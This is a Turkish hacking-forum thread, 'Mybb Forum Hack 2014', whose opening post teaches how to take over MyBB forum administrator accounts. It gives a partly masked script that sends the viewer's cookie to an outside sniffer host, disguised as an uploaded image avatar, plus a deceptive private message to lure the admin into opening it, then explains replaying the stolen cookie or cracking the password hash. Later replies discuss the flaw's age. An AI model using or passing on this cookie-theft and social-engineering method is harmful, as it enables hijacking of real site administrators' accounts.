Konuyu Oyla:
  • Toplam: 0 Oy - Ortalama: 0
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Mybb Forum Hack 2014 !
BordoHackeR
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 3
Yaşam Puanı: 1 / 73
Deneyim: 93 / 100
Rep Sayısı: 0
Mesaj Sayısı: 27
Üyelik Tarihi: 23.01.2014
     
Yorum: #1
Mybb Forum Hack 2014 !
27.01.2014 14:26
Evet Şimdi MyBB forumlardaki upload açığı sayesinde forumdaki yöneticilerin şifrelerini çalmayaı anlatacağım.



>İlk başta bir not defteri açıyoruz ve aşağıdaki verdiğim kodları için yazıyoruz farklı kaydet diyip ''.jpg veyada .gif'' şeklinde yani resim formatında kaydedeceğiz.



kod : **********img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+***************************;</script>


Daha sonra siteye üye olup avatar bölümünden göz at diyip resmimizi göz at diyip yüklüyoruz.

Resmimiz forumlarda gözükmeyecektir.Sağ Tıklayıp Özelliklerden Resmin URL sini yani adresini seçip kopyalıyoruz.

Sonra admine özel mesaj gönderiyoruz ve şu tarz bir bilgi yazıyoruz:

'' Ya kardeş benim Her Tarafta kullandığım çok sevdiğim bir avatarım var ama senin sitende görükmüyor sorun nedir acaba avatarın linkini verdim aşağıda diyoruz. ve avatarın linkini koyuyoruz.''

admin linke tıkladığı zaman admin cookie* hash* userid falan hepsi buraya geliyor
/sniff/log.php

Bilgiler geldikten sonra http://www.cookieeditor.com/ giderek cookie editörü indiriyoruz. ve kendi bilgilerimizi değiştirip adamın bilgilerini giriyoruz kaydediyoruz tekrar siteye giriyoruz ve admin girişi yapıyoruz. Yada admin hash'ı ile http://www.milw0rm.com 'dan kırdıktan sonra adamın nick'i ve şifresi ile online oluyoruz..
(Bu konu en son: 24.06.2017 Tarihinde, Saat: 01:05 düzenlenmiştir. Düzenleyen: KingSkrupellos.)
#H4CK4L
*
avatar
#R00T
Durum: Çevrimdışı
Seviye Puanı: 42
Yaşam Puanı: 1,048 / 1,048
Deneyim: 92 / 100
Rep Sayısı: 1020
Mesaj Sayısı: 2978
Üyelik Tarihi: 04.05.2013
      
Yorum: #2
Cvp: Mybb Forum Hack !
27.01.2014 14:32
bu hangi sürümün acığı ?

Çocukken her akşam yatmadan önce Tanrı'ya bana bir bisiklet vermesi için dua ederdim. Bir gün Tanrı'nın çalışma tarzının bu olmadığını anladım. Ertesi gün gittim kendime yeni bir bisiklet çaldım ve her akşam yatmadan önce Tanrı'ya günahlarımı affetmesi için dua ettim.
DeLeTeD
*
avatar
Sivile Alındı
Durum: Çevrimdışı
Seviye Puanı: 10
Yaşam Puanı: 21 / 243
Deneyim: 75 / 100
Rep Sayısı: 0
Mesaj Sayısı: 137
Üyelik Tarihi: 25.04.2014
     
Yorum: #3
Cvp: Mybb Forum Hack !
27.01.2014 14:34
(27.01.2014 14:32)H4CK4L Nickli Kullanıcıdan Alıntı:  bu hangi sürümün acığı ?
Bu açığın sürümü Yok.Bu Methof Sniffer yedirmeye Dayanıyor Abi Smile
SancakBeyi
*
avatar
Sivile Alındı
Durum: Çevrimdışı
Seviye Puanı: 20
Yaşam Puanı: 431 / 478
Deneyim: 15 / 100
Rep Sayısı: 128
Mesaj Sayısı: 474
Üyelik Tarihi: 09.04.2017
     
Yorum: #4
RE: Mybb Forum Hack !
20.05.2017 10:06
Vay iyimiş denicem soal.
PoYRaZ7221
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 3
Yaşam Puanı: 2 / 55
Deneyim: 20 / 100
Rep Sayısı: 3
Mesaj Sayısı: 20
Üyelik Tarihi: 19.05.2017
     
Yorum: #5
RE: Mybb Forum Hack !
20.05.2017 13:24
2008 de oluyordu bu aga xss acığı vardı o zaman :3



1 Ziyaretçi